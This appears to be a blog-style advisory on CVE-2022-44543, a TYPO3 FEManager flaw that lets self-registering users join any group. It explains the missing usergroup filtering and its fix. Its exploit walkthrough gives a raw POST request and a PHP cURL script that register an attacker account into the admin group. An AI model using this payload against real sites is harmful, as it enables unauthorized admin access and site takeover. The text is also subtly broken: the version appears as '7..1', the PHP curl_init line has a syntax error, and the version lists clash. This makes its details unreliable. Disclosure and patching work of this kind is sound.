The TYPO3 world has been rocked by CVE-2022-44543, a vulnerability in the popular FEManager extension that lets attackers sneak frontend users into groups they were never supposed to access. This flaw was known to affect the following versions:

FEManager 7.x before 7..1

Let’s keep it simple and break down exactly what went wrong, show some code, walk through an exploitation scenario, and give you everything you need to know to protect your site.

What Is FEManager?

FEManager is a feature-rich TYPO3 extension for frontend user registration and management. Site owners use it to allow visitors to create accounts and log in.

The Vulnerability: What Happened?

FEManager is meant to control what user groups someone can join when they register. There’s a configuration that says, for example:

No one should be able to self-register as an admin.

The core defense here is usergroup.inList — a mechanism meant to limit the submitted user group to allowed values. However, in these vulnerable versions, this check is mishandled. If an attacker can craft a registration form that supplies a usergroup value, they may be able to register as part of ANY group — even secret or admin groups.

Why Does This Happen?

The root cause is insufficient validation on the usergroup field from the frontend form. FEManager tries to filter user input, but before v5.5.2/6.3.3/7..1, that filter could be tricked, especially if a custom registration form lets you submit a group ID directly.

Abuse in the Wild: Exploit Walkthrough

Let’s go step-by-step through how an attacker might exploit this.

Step 1: Discover Group IDs

TYPO3 sites usually organize user privileges with group IDs. While these IDs might be guessed (e.g., 1 for “Users”, 2 for “Admins”), tools like Burp Suite can help attackers enumerate them by watching registration traffic or poking at the site.

Step 2: Get a Registration Form With usergroup Field

Many FEManager sites use a registration form where you can select your group (or the select element is hidden). Sometimes it’s editable via browser tools, and sometimes custom forms let you POST arbitrary group IDs.

HTTP POST Request

POST /?id=registration_page_id HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded

tx_femanager_pi1%5Buser%5D%5Busername%5D=hacker
&tx_femanager_pi1%5Buser%5D%5Bpassword%5D=secretpass
&tx_femanager_pi1%5Buser%5D%5Busergroup%5D=2

PHP equivalent

$data = [
    'tx_femanager_pi1' => [
        'user' => [
            'username' => 'hacker',
            'password' => 'secretpass',
            'usergroup' => '2'
        ]
    ]
];

$ch = curl_init('https://victim-site.com/?id=registration_page_id';);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

If the site is running a vulnerable FEManager, the server saves the new user with the admin group!

Why Is This Bad?

A frontend user in a restricted group might get elevated permissions, access to protected content, backend features, or even full admin rights. If the site is not careful, attackers can take over or deface the site, steal data, or perform further attacks.

Inside FEManager, the user group assignment might look like this (simplified)

if (isset($_POST['tx_femanager_pi1']['user']['usergroup'])) {
    $groups = $_POST['tx_femanager_pi1']['user']['usergroup'];
    // Expected: $groups should be filtered to allowed values
    $user->setUsergroup($groups); // BAD: doesn't properly check if '2' is allowed
}

The logic should strictly whitelist allowed group IDs, not just accept what’s posted.

Upgrade!

- FEManager 5.5.2
- FEManager 6.3.3
- FEManager 7..1

Sanitize the usergroup input:
Make sure you aren’t exposing the group picker to end users, and filter the usergroup value server-side to only those you intend.

Example patched logic

$allowed = [1]; // Only normal users
$groups = array_intersect($_POST['tx_femanager_pi1']['user']['usergroup'], $allowed);
$user->setUsergroup($groups);

References

- TYPO3 Security Advisory (official)
- NVD entry for CVE-2022-44543
- FEManager GitHub Repository
- TYPO3 Extension Repository
- ExploitPoC example (packetstorm)

Conclusion

CVE-2022-44543 is a real-world reminder that frontend-provided values must never be trusted, especially when it comes to roles and permissions. If you use FEManager on your TYPO3 site, update immediately. Double-check your registration forms—never let users pick their own privilege level.

Timeline

Published on: 12/12/2023 17:15:07 UTC
Last modified on: 12/14/2023 20:42:42 UTC